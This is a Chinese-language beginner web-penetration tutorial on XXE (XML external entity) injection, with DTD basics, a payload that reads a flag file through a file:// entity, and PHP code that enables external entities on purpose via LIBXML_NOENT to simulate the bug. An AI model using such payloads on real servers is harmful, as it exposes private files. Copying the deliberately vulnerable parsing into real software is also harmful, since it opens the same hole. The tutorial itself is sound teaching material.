本节课视频讲解链接:
1、漏洞说明
概述:
XXE漏洞,又称xml外部实体注入漏洞,概括来说就是攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置执行, 也就是说服务端接收和解析了来自客户端的xml数据,由于没有对此数据做严格的安全控制,从而导致xml外部实体注入。
在现在很多语言里用于解析xml的函数,默认禁止解析外部实体内容,从而就避免了此漏洞。以PHP为例,在PHP里面解析xml用的是libxml,其在 ≥2.9.0 的php版本中,默认是禁止解析xml外部实体内容的。
本章提供的案例中为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。
XML+DTD基本语法:
DTD(Document Type Definition),即文档定义类型,用来为XML文档定义语义约束。
<!--声明xml的版本号-->
<?xml version="1.0"?>
<!--定义此文档是note类型的文档-->
<!DOCTYPE note[
<!--外部实体声明-->
<!ENTITY entity-name SYSTEM "URI/URL">
]>
<!--文档元素-->
<note>
<head>Message</head>
<body>This is a XML message</body>
</note>
2、漏洞复现
xml外部引用不仅支持file协议,还支持http、ftp协议。
如下代码所示,利用file协议读取网站根目录下的flag.txt文件:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///C:/phpStudy/PHPTutorial/WWW/flag.txt">
]>
<x>&file;</x>
3、漏洞代码审计
前端将 $_POST['xml'] 传递给变量 $xml,由于后台没有对此变量进行安全判断就直接使用 simplexml_load_string 函数进行xml解析,从而导致xxe漏洞。
$html='';
//考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析
if(isset($_POST['submit']) and $_POST['xml'] != null){
$xml =$_POST['xml'];
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
if($data){
$html.="<pre>{$data}</pre>";
}else{
$html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
}
}
?>
因此可以构建恶意xml通过post请求提交给后台,以此实现xml外部实体注入,这里先构建个简单的xml提交试试,页面成功回显 hello world 字符串。
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note [
<!ENTITY test "hello world">
]>
<name>&test;</name>
原文始发于微信公众号(ZackSecurity):【Web渗透入门】9.XXE漏洞讲解
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论